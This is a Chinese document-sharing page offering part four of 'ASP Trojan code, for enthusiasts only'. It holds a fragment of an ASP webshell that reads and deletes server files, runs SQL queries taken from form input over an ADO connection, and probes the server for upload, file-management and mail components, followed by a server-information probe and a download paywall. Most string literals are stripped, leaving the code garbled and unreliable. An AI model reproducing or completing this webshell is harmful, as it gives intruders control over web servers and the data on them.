ASP木马代码(仅供爱好者参考)(4)

2020-02-21 18:43

 <% 

If (IsObject(oFile)) Then On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close

Call oFileSys.DeleteFile(szTempFile, True) End If %> <%end if case \

if Request.Cookies(\response.write \

response.write \【返 回】\else

If trim(request.form(\password= trim(Request.form(\id=trim(Request.form(\

SqlLocalName=trim(Request.form(\

if SqlLocalName=\服务器地址\set adoConn=Server.CreateObject(\

adoConn.Open \Source =\

strQuery = \set recResult = adoConn.Execute(strQuery) If NOT recResult.EOF Then Do While NOT recResult.EOF

strResult = strResult & chr(13) & recResult(0) recResult.MoveNext Loop End if

set recResult = Nothing

strResult = Replace(strResult,\ strResult = Replace(strResult,\ strResult = Replace(strResult,\

strResult = Replace(strResult,chr(13),\End if

set adoConn = Nothing

%>

<%

Response.Write request.form(\Response.Write strResult end if

case \

Response.Buffer = False

Dim ObjTotest(26,4)

ObjTotest(0,0) = \ObjTotest(1,0) = \ObjTotest(2,0) = \ObjTotest(3,0) = \ObjTotest(4,0) = \ObjTotest(5,0) = \ObjTotest(6,0) = \ObjTotest(7,0) = \

ObjTotest(8,0) = \

ObjTotest(9,0) = \ObjTotest(9,1) = \文本文件读写)\ ObjTotest(10,0) = \ObjTotest(10,1) = \数据对象)\

ObjTotest(11,0) = \ObjTotest(11,1) = \文件上传)\ObjTotest(12,0) = \ObjTotest(12,1) = \文件管理)\ObjTotest(13,0) = \ObjTotest(13,1) = \刘云峰的文件上传组件)\ObjTotest(14,0) = \

ObjTotest(14,1) = \文件上传)\ObjTotest(15,0) = \

ObjTotest(15,1) = \文件上传)\ObjTotest(16,0) = \

ObjTotest(16,1) = \邮件收发)\ObjTotest(17,0) = \ObjTotest(17,1) = \虚拟 SMTP 发信)\ObjTotest(18,0) = \ObjTotest(18,1) = \发信)\ObjTotest(19,0) = \

ObjTotest(19,1) = \发信)\ObjTotest(20,0) = \ObjTotest(20,1) = \发信)\ObjTotest(21,0) = \ObjTotest(21,1) = \发信)\ ObjTotest(22,0) = \ObjTotest(22,1) = \发信)\ObjTotest(23,0) = \ObjTotest(23,1) = \发信)\

ObjTotest(24,0) = \ObjTotest(24,1) = \ 的图像读写组件)\ObjTotest(25,0) = \

ObjTotest(25,1) = \的图像读写组件)\public IsObj,VerObj,TestObj dim i

for i=0 to 25

on error resume next IsObj=false VerObj=\'dim TestObj

TestObj=\

set TestObj=server.CreateObject(ObjTotest(i,0)) If -2147221005 <> Err then IsObj = True

VerObj = TestObj.version

if VerObj=\erObj) then VerObj=TestObj.about end if

ObjTotest(i,2)=IsObj ObjTotest(i,3)=VerObj next

sub ObjTest(strObj) on error resume next IsObj=false VerObj=\TestObj=\

set TestObj=server.CreateObject (strObj) If -2147221005 <> Err then IsObj = True

VerObj = TestObj.version

if VerObj=\erObj) then VerObj=TestObj.about end if End sub %>

ASP探针V1.60-阿江http://www.ajiang.net

class=fonts>V1.60

是否支持ASP


出现以下情况即表示您的空间不支持ASP:

改写的ASP探针-


1、访问本文件时提示下载。


2、访问本文件时看到类似“<%@ Language=\的文字。

服务器的有关参数

服务器名 <%=Request.ServerVariables(\

服务器IP <%=Request.ServerVariables(\

服务器端口 <%=Request.ServerVariables(\

服务器时间 <%=now%>

IIS版本

<%=Request.ServerVariables(\

脚本超时时间 <%=Server.ScriptTimeout%> 秒

文件路径


ASP木马代码(仅供爱好者参考)(4).doc 将本文的Word文档下载到电脑 下载失败或者文档不完整,请联系客服人员解决!
× 注册会员免费下载(下载后可以自由复制和排版)

马上注册会员

注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信: QQ: